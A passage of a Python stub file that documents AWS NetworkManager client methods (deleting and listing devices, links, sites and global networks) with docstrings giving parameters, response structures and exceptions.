NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def delete_device(GlobalNetworkId=None, DeviceId=None): """ Deletes an existing device. You must first disassociate the device from any links and customer gateways. See also: AWS API Documentation Exceptions :example: response = client.delete_device( GlobalNetworkId='string', DeviceId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceId: string :param DeviceId: [REQUIRED]\nThe ID of the device.\n :rtype: dict ReturnsResponse Syntax { 'Device': { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Device (dict) -- Information about the device. DeviceId (string) -- The ID of the device. DeviceArn (string) -- The Amazon Resource Name (ARN) of the device. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the device. Type (string) -- The device type. Vendor (string) -- The device vendor. Model (string) -- The device model. SerialNumber (string) -- The device serial number. Location (dict) -- The site location. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. SiteId (string) -- The site ID. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The device state. Tags (list) -- The tags for the device. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Device': { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def delete_global_network(GlobalNetworkId=None): """ Deletes an existing global network. You must first delete all global network objects (devices, links, and sites) and deregister all transit gateways. See also: AWS API Documentation Exceptions :example: response = client.delete_global_network( GlobalNetworkId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :rtype: dict ReturnsResponse Syntax{ 'GlobalNetwork': { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- GlobalNetwork (dict) --Information about the global network. GlobalNetworkId (string) --The ID of the global network. GlobalNetworkArn (string) --The Amazon Resource Name (ARN) of the global network. Description (string) --The description of the global network. CreatedAt (datetime) --The date and time that the global network was created. State (string) --The state of the global network. Tags (list) --The tags for the global network. (dict) --Describes a tag. Key (string) --The tag key. Length Constraints: Maximum length of 128 characters. Value (string) --The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'GlobalNetwork': { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } """ pass def delete_link(GlobalNetworkId=None, LinkId=None): """ Deletes an existing link. You must first disassociate the link from any devices and customer gateways. See also: AWS API Documentation Exceptions :example: response = client.delete_link( GlobalNetworkId='string', LinkId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type LinkId: string :param LinkId: [REQUIRED]\nThe ID of the link.\n :rtype: dict ReturnsResponse Syntax { 'Link': { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Link (dict) -- Information about the link. LinkId (string) -- The ID of the link. LinkArn (string) -- The Amazon Resource Name (ARN) of the link. GlobalNetworkId (string) -- The ID of the global network. SiteId (string) -- The ID of the site. Description (string) -- The description of the link. Type (string) -- The type of the link. Bandwidth (dict) -- The bandwidth for the link. UploadSpeed (integer) -- Upload speed in Mbps. DownloadSpeed (integer) -- Download speed in Mbps. Provider (string) -- The provider of the link. CreatedAt (datetime) -- The date and time that the link was created. State (string) -- The state of the link. Tags (list) -- The tags for the link. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Link': { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def delete_site(GlobalNetworkId=None, SiteId=None): """ Deletes an existing site. The site cannot be associated with any device or link. See also: AWS API Documentation Exceptions :example: response = client.delete_site( GlobalNetworkId='string', SiteId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type SiteId: string :param SiteId: [REQUIRED]\nThe ID of the site.\n :rtype: dict ReturnsResponse Syntax { 'Site': { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Site (dict) -- Information about the site. SiteId (string) -- The ID of the site. SiteArn (string) -- The Amazon Resource Name (ARN) of the site. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the site. Location (dict) -- The location of the site. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The state of the site. Tags (list) -- The tags for the site. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Site': { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def deregister_transit_gateway(GlobalNetworkId=None, TransitGatewayArn=None): """ Deregisters a transit gateway from your global network. This action does not delete your transit gateway, or modify any of its attachments. This action removes any customer gateway associations. See also: AWS API Documentation Exceptions :example: response = client.deregister_transit_gateway( GlobalNetworkId='string', TransitGatewayArn='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type TransitGatewayArn: string :param TransitGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the transit gateway.\n :rtype: dict ReturnsResponse Syntax { 'TransitGatewayRegistration': { 'GlobalNetworkId': 'string', 'TransitGatewayArn': 'string', 'State': { 'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED', 'Message': 'string' } } } Response Structure (dict) -- TransitGatewayRegistration (dict) -- The transit gateway registration information. GlobalNetworkId (string) -- The ID of the global network. TransitGatewayArn (string) -- The Amazon Resource Name (ARN) of the transit gateway. State (dict) -- The state of the transit gateway registration. Code (string) -- The code for the state reason. Message (string) -- The message for the state reason. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'TransitGatewayRegistration': { 'GlobalNetworkId': 'string', 'TransitGatewayArn': 'string', 'State': { 'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED', 'Message': 'string' } } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def describe_global_networks(GlobalNetworkIds=None, MaxResults=None, NextToken=None): """ Describes one or more global networks. By default, all global networks are described. To describe the objects in your global network, you must use the appropriate Get* action. For example, to list the transit gateways in your global network, use GetTransitGatewayRegistrations . See also: AWS API Documentation Exceptions :example: response = client.describe_global_networks( GlobalNetworkIds=[ 'string', ], MaxResults=123, NextToken='string' ) :type GlobalNetworkIds: list :param GlobalNetworkIds: The IDs of one or more global networks. The maximum is 10.\n\n(string) --\n\n :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'GlobalNetworks': [ { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- GlobalNetworks (list) -- Information about the global networks. (dict) -- Describes a global network. GlobalNetworkId (string) -- The ID of the global network. GlobalNetworkArn (string) -- The Amazon Resource Name (ARN) of the global network. Description (string) -- The description of the global network. CreatedAt (datetime) -- The date and time that the global network was created. State (string) -- The state of the global network. Tags (list) -- The tags for the global network. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'GlobalNetworks': [ { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def disassociate_customer_gateway(GlobalNetworkId=None, CustomerGatewayArn=None): """ Disassociates a customer gateway from a device and a link. See also: AWS API Documentation Exceptions :example: response = client.disassociate_customer_gateway( GlobalNetworkId='string', CustomerGatewayArn='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type CustomerGatewayArn: string :param CustomerGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the customer gateway. For more information, see Resources Defined by Amazon EC2 .\n :rtype: dict ReturnsResponse Syntax { 'CustomerGatewayAssociation': { 'CustomerGatewayArn': 'string', 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } Response Structure (dict) -- CustomerGatewayAssociation (dict) -- Information about the customer gateway association. CustomerGatewayArn (string) -- The Amazon Resource Name (ARN) of the customer gateway. GlobalNetworkId (string) -- The ID of the global network. DeviceId (string) -- The ID of the device. LinkId (string) -- The ID of the link. State (string) -- The association state. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'CustomerGatewayAssociation': { 'CustomerGatewayArn': 'string', 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def disassociate_link(GlobalNetworkId=None, DeviceId=None, LinkId=None): """ Disassociates an existing device from a link. You must first disassociate any customer gateways that are associated with the link. See also: AWS API Documentation Exceptions :example: response = client.disassociate_link( GlobalNetworkId='string', DeviceId='string', LinkId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceId: string :param DeviceId: [REQUIRED]\nThe ID of the device.\n :type LinkId: string :param LinkId: [REQUIRED]\nThe ID of the link.\n :rtype: dict ReturnsResponse Syntax { 'LinkAssociation': { 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } Response Structure (dict) -- LinkAssociation (dict) -- Information about the link association. GlobalNetworkId (string) -- The ID of the global network. DeviceId (string) -- The device ID for the link association. LinkId (string) -- The ID of the link. LinkAssociationState (string) -- The state of the association. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'LinkAssociation': { 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to\nClientMethod. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid\nfor. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By\ndefault, the http method is whatever is used in the method\'s model. """ pass def get_customer_gateway_associations(GlobalNetworkId=None, CustomerGatewayArns=None, MaxResults=None, NextToken=None): """ Gets the association information for customer gateways that are associated with devices and links in your global network. See also: AWS API Documentation Exceptions :example: response = client.get_customer_gateway_associations( GlobalNetworkId='string', CustomerGatewayArns=[ 'string', ], MaxResults=123, NextToken='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type CustomerGatewayArns: list :param CustomerGatewayArns: One or more customer gateway Amazon Resource Names (ARNs). For more information, see Resources Defined by Amazon EC2 . The maximum is 10.\n\n(string) --\n\n :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'CustomerGatewayAssociations': [ { 'CustomerGatewayArn': 'string', 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' }, ], 'NextToken': 'string' } Response Structure (dict) -- CustomerGatewayAssociations (list) -- The customer gateway associations. (dict) -- Describes the association between a customer gateway, a device, and a link. CustomerGatewayArn (string) -- The Amazon Resource Name (ARN) of the customer gateway. GlobalNetworkId (string) -- The ID of the global network. DeviceId (string) -- The ID of the device. LinkId (string) -- The ID of the link. State (string) -- The association state. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'CustomerGatewayAssociations': [ { 'CustomerGatewayArn': 'string', 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def get_devices(GlobalNetworkId=None, DeviceIds=None, SiteId=None, MaxResults=None, NextToken=None): """ Gets information about one or more of your devices in a global network. See also: AWS API Documentation Exceptions :example: response = client.get_devices( GlobalNetworkId='string', DeviceIds=[ 'string', ], SiteId='string', MaxResults=123, NextToken='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceIds: list :param DeviceIds: One or more device IDs. The maximum is 10.\n\n(string) --\n\n :type SiteId: string :param SiteId: The ID of the site. :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'Devices': [ { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- Devices (list) -- The devices. (dict) -- Describes a device. DeviceId (string) -- The ID of the device. DeviceArn (string) -- The Amazon Resource Name (ARN) of the device. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the device. Type (string) -- The device type. Vendor (string) -- The device vendor. Model (string) -- The device model. SerialNumber (string) -- The device serial number. Location (dict) -- The site location. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. SiteId (string) -- The site ID. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The device state. Tags (list) -- The tags for the device. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Devices': [ { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def get_link_associations(GlobalNetworkId=None, DeviceId=None, LinkId=None, MaxResults=None, NextToken=None): """ Gets the link associations for a device or a link. Either the device ID or the link ID must be specified. See also: AWS API Documentation Exceptions :example: response = client.get_link_associations( GlobalNetworkId='string', DeviceId='string', LinkId='string', MaxResults=123, NextToken='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceId: string :param DeviceId: The ID of the device. :type LinkId: string :param LinkId: The ID of the link. :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'LinkAssociations': [ { 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' }, ], 'NextToken': 'string' } Response Structure (dict) -- LinkAssociations (list) -- The link associations. (dict) -- Describes the association between a device and a link. GlobalNetworkId (string) -- The ID of the global network. DeviceId (string) -- The device ID for the link association. LinkId (string) -- The ID of the link. LinkAssociationState (string) -- The state of the association. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'LinkAssociations': [ { 'GlobalNetworkId': 'string', 'DeviceId': 'string', 'LinkId': 'string', 'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED' }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def get_links(GlobalNetworkId=None, LinkIds=None, SiteId=None, Type=None, Provider=None, MaxResults=None, NextToken=None): """ Gets information about one or more links in a specified global network. If you specify the site ID, you cannot specify the type or provider in the same request. You can specify the type and provider in the same request. See also: AWS API Documentation Exceptions :example: response = client.get_links( GlobalNetworkId='string', LinkIds=[ 'string', ], SiteId='string', Type='string', Provider='string', MaxResults=123, NextToken='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type LinkIds: list :param LinkIds: One or more link IDs. The maximum is 10.\n\n(string) --\n\n :type SiteId: string :param SiteId: The ID of the site. :type Type: string :param Type: The link type. :type Provider: string :param Provider: The link provider. :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'Links': [ { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- Links (list) -- The links. (dict) -- Describes a link. LinkId (string) -- The ID of the link. LinkArn (string) -- The Amazon Resource Name (ARN) of the link. GlobalNetworkId (string) -- The ID of the global network. SiteId (string) -- The ID of the site. Description (string) -- The description of the link. Type (string) -- The type of the link. Bandwidth (dict) -- The bandwidth for the link. UploadSpeed (integer) -- Upload speed in Mbps. DownloadSpeed (integer) -- Download speed in Mbps. Provider (string) -- The provider of the link. CreatedAt (datetime) -- The date and time that the link was created. State (string) -- The state of the link. Tags (list) -- The tags for the link. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Links': [ { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def get_paginator(operation_name=None): """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). :rtype: L{botocore.paginate.Paginator} ReturnsA paginator object. """ pass def get_sites(GlobalNetworkId=None, SiteIds=None, MaxResults=None, NextToken=None): """ Gets information about one or more of your sites in a global network. See also: AWS API Documentation Exceptions :example: response = client.get_sites( GlobalNetworkId='string', SiteIds=[ 'string', ], MaxResults=123, NextToken='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type SiteIds: list :param SiteIds: One or more site IDs. The maximum is 10.\n\n(string) --\n\n :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'Sites': [ { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- Sites (list) -- The sites. (dict) -- Describes a site. SiteId (string) -- The ID of the site. SiteArn (string) -- The Amazon Resource Name (ARN) of the site. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the site. Location (dict) -- The location of the site. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The state of the site. Tags (list) -- The tags for the site. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Sites': [ { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException 